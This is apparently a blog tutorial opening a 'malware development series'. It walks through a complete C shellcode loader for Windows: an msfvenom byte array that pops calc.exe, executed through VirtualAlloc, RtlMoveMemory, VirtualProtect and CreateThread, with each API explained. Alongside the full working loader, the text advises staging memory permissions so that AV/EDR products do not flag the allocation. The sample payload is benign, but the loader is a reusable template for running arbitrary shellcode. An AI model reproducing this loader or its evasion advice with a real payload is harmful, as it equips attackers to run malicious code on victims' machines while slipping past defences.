In this module, we’re gonna write a simple shellcode loader also known as local shellcode injection using C and Win32 API. If I get enough free time, I’ll continue this as a malware development series. So let’s start with a basic one.
To load our shellcode (from msfvenom), we’re gonna need these window APIs.
- VirtualAlloc - Allocate memory for our shellcode
- RtlMoveMemory - Move our shellcode into allocated memory
- VirtualProtect - To change memory region to as a executable
- CreateThread - Create a thread to execute our shellcode
- WaitForSingleObject - Wait until thread exection finished.
What is Win32 API?
For those who doesn’t know yet what Win32 API is, Win32 API is the set of low level windows functions that let the software control things like windows, files, memory, and devices. It’s how programs interact with the windows operating system behind the scenes.
Before we get started, let’s review the code first to get clear vision.
#include <windows.h>#include <stdio.h>
// calc.exe shellcode from msfvenomunsigned char shellcode[] = { 0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00};
int main() { SIZE_T shellcodeSize = sizeof(shellcode); printf("[+] Shellcode size: %zu bytes\n", shellcodeSize);
// allocating memory PVOID pShellcodeAddress = VirtualAlloc(NULL,shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (pShellcodeAddress == NULL) { printf("[-] Failed to allocate memory\n"); return -1; } printf("[+] Memory allocated at: 0x%p\n", pShellcodeAddress);
// copy shellcode to executable memory // we can use a simple memcpy here // memcpy(pShellcodeAddress, shellcode, shellcodeSize);
RtlMoveMemory(pShellcodeAddress, shellcode, shellcodeSize); printf("[+] Copied shellcode to: 0x%p\n", pShellcodeAddress);
printf("[+] Changed memory region to: PAGE_EXECUTE_READWRITE\n"); DWORD dwOldProtection = NULL; if (!VirtualProtect(pShellcodeAddress, shellcodeSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) { printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError()); return -1; }
printf("[*] Creating new thread\n"); // create a new thread to execute the shellcode HANDLE hThread = CreateThread(NULL, 0, pShellcodeAddress,NULL,0,NULL); if (hThread == NULL) { printf("[!] CreateThread Failed With Error : %d \n", GetLastError()); return -1; } // wait for the thread to finish execution WaitForSingleObject(hThread, INFINITE);
// cleaning up CloseHandle(hThread); VirtualFree(pShellcodeAddress, 0, MEM_RELEASE); printf("[+] Done"); return 0;}Allocating Memory
The first thing we need to do is to allocate memory region for our shellcode with VirtualAlloc. If you don’t know what VirtualAlloc does and what kind of parameters its has, we can search in google like VirtualAlloc msdn. So it will show the whole microsoft documentation of that related API. For example:
LPVOID VirtualAlloc( [in, optional] LPVOID lpAddress, [in] SIZE_T dwSize, [in] DWORD flAllocationType, [in] DWORD flProtect);Before we look at the parameters, you’ll see tags like [in] or [out].
[in] means we must provide a value for that parameter.
[out] means the function will give us a value back through that parameter.
And you might notice some of window data types throughout the series such as LPVOID, PVOID, SIZE_T, BOOL, HANDLE and many more. We just have to declare base on the type of our variables. You can learn it more from MSDN page.
That’s why we used pShellcodeAddress as a PVOID or LPVOID and shellcodeSize as a SIZE_T in here.
-
lpAddressis the starting address where we want our memory block to begin. We usedNULL, so windows will pick the location automatically by itself. -
dwSizeis the size of our shellcode that we declared in line number 9. -
For
flAllocationType, we usedMEM_COMMIT | MEM_RESERVE. So what are these? You can also read details inMSDNpage. For now,MEM_RESERVEis like make a reservation a memory space to use later.MEM_COMMITis like I’m gonna use that reserved space. To be clear :MEM_RESERVE= “I’ll need this space later”MEM_COMMIT= “I’m putting my stuff here now”MEM_COMMIT | MEM_RESERVE= “I need space with stuff right now”
-
flProtectis like what we are allowed to do with that memory region. For example, can we have read access, write access or execute it as a code? It has multiple values inMSDNpage like- PAGE_EXECUTE
- PAGE_EXECUTE_READ
- PAGE_EXECUTE_READWRITE
- PAGE_READONLY
- And more
We could simply just pass PAGE_EXECUTE_READWRITE to VirtualAlloc, but doing this is a major red flag for AV/EDR. For best practice as a malware developer, we allocate the memory as PAGE_READWRITE first, and then change it to executable using VirtualProtect.
So, If our function succeeds, the return value is the base address of the allocated region of pages. (How to know? from MSDN page for sure). If NULL, it failed to allocate. We can handle the error like this:
if (pShellcodeAddress == NULL) { printf("\t[!] VirtualAlloc Failed With Error : %d \n", GetLastError()); return FALSE;}
// we can also use a simple memcpy here// memcpy(pShellcodeAddress, shellcode, shellcodeSize);Moving Shellcode
Now that we have allocated a memory region for our shellcode, the next step is to copy the shellcode into that buffer using RtlMoveMemory.
Syntax from MSDN
VOID RtlMoveMemory( _Out_ VOID UNALIGNED *Destination, _In_ const VOID UNALIGNED *Source, _In_ SIZE_T Length);Destination is the address returned by VirtualAlloc. Source will be our shellcode and Length is the total size of the shellcode.
RtlMoveMemory(pShellcodeAddress, shellcode, shellcodeSize);After moving the shellcode, we need to change the memory region to be executable using VirtualProtect.
Syntax from MSDN
BOOL VirtualProtect( [in] LPVOID lpAddress, [in] SIZE_T dwSize, [in] DWORD flNewProtect, [out] PDWORD lpflOldProtect);As you can see lpflOldProtect is [out]. This is required because VirtualProtect must return the previous memory protection for that region. If the function succeed, the return value will be nonzero.
DWORD dwOldProtection = NULL;
if (!VirtualProtect(pShellcodeAddress, shellcodeSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) { printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError()); return -1;}Then we need to create a new thread to execute the shellcode. In this case, we’re going to use CreateThread API to create a thread.
HANDLE CreateThread( [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, [in] SIZE_T dwStackSize, [in] LPTHREAD_START_ROUTINE lpStartAddress, [in, optional] __drv_aliasesMem LPVOID lpParameter, [in] DWORD dwCreationFlags, [out, optional] LPDWORD lpThreadId);We will use our pShellcodeAddress as the lpStartAddress for the new thread and the other parameters can be set to NULL.
HANDLE hThread = CreateThread(NULL, 0, pShellcodeAddress,NULL,0,NULL);
if (hThread == NULL) { printf("\t[!] CreateThread Failed With Error : %d \n", GetLastError()); return FALSE;}
WaitForSingleObject(hThread, INFINITE);WaitForSingleObject is to wait the thread to finish execution.
Deallocating Memory
Now the last things to do is to clean up the allocated memory using VirtualFree.
CloseHandle(hThread);VirtualFree(pShellcodeAddress, 0, MEM_RELEASE);So let’s just run our code in visual studio and you can see it will pop up calc.exe.
